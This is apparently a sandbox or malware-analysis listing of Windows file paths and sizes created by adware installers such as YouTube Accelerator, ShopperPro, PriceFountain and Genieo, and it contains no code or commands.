%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_28041\ins_shopperpro.exe (18632 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_11555\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_11555\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~dlE2B0\~dlxz\jieya.dll (410 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3948_YouTubeAccelerator.log_tmp (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B91.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7AF2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7ADF.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B56.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B04.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B79.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1404_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B06.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1404.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7A7F.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B8B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3948.log (76713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7A5E.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B8D.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B8F.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (229887 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3948.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1404_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3356.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3356_YouTubeAcceleratorService.log_tmp (52 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B67.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1404_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7AE1.tmp (1 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\main.log (9027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GF0JQN4Y.txt (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QARV9M0L.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\AV0GZDIB.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IUN64J8J.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe (21364 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\AY65CSG1.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (91380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0U9X0UO2.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VS9GCKRU.txt (324 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\E3HK1VW6.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\63PKF2WO.txt (776 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZDT65448.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Q11MOX74.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5UBPH8PO.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ef016749e4b3b84c8b6f3946b9bc2c0d[1].htm (40152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[1].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-sourceapp[2].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[2].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\R04FY25X.txt (612 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3QWTQG3N.txt (775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EGQBYCG4.txt (776 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9SEKOS41.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WTF80D0P.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OY6G9J6B.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\72WK8A5C.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ga[1].js (23106 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\799c6eaebeb52f4eabf469c6ed8ad1c0[1].htm (37262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5Q1ENLUX.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\66RQ30EE.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\L561DM1A.txt (546 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\R5G0ZSPY.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2ZCGEIU3.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YLJ9PH4T.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\pricefountain[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (68422 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\H2CDJAQC.txt (824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LU9J2L33.txt (284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp (38724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[1].png (2188 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7FB2YUW1.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-pricefountain[1].htm (7161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V31KTA8F.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\N6PHH5X1.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HFW5XNR5.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp (17368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\8bcb66b22b13e545b4025cefa77c7e57[1].htm (38452 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\176YV0HD.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\34MFEFF0.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\B5NZTDIO.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-priceless[1].htm (1799 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp (17368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\C0C7ZPXB.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2QWZSN55.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[4].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EITRPAB7.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SQVL143S.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QIYYZ93X.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NADJD2L3.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QMQ158YQ.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HCQGXTLF.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\9e6180970114bd468bddca6b91fb0979[1].htm (35998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyo_sprite_full[2].png (1277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[3].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[2].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XUVOKDUZ.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IL1L3K8X.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\8GSXMW5L.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tf00294823.dll (294 bytes)
%Program Files% (x86)\Supporter\Supporter.dll (255021 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\prfo.dll (5273 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe (6081 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainFirefox.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe (4492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll (1671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB4EF.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\18be6784_.exe (995 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\294823_.exe (1131 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\90LL56E9.txt (129 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\Uninstall PriceFountain.lnk (991 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainUpdateVer.exe (61948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe (10226 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\installation.log (8322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\PriceFountainUpdateVer.exe (3556 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain.url (249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain Help.url (257 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\sfx.exe (63715 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (26724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\AccDownload.dll (11671 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2C00.tmp (346124 bytes)
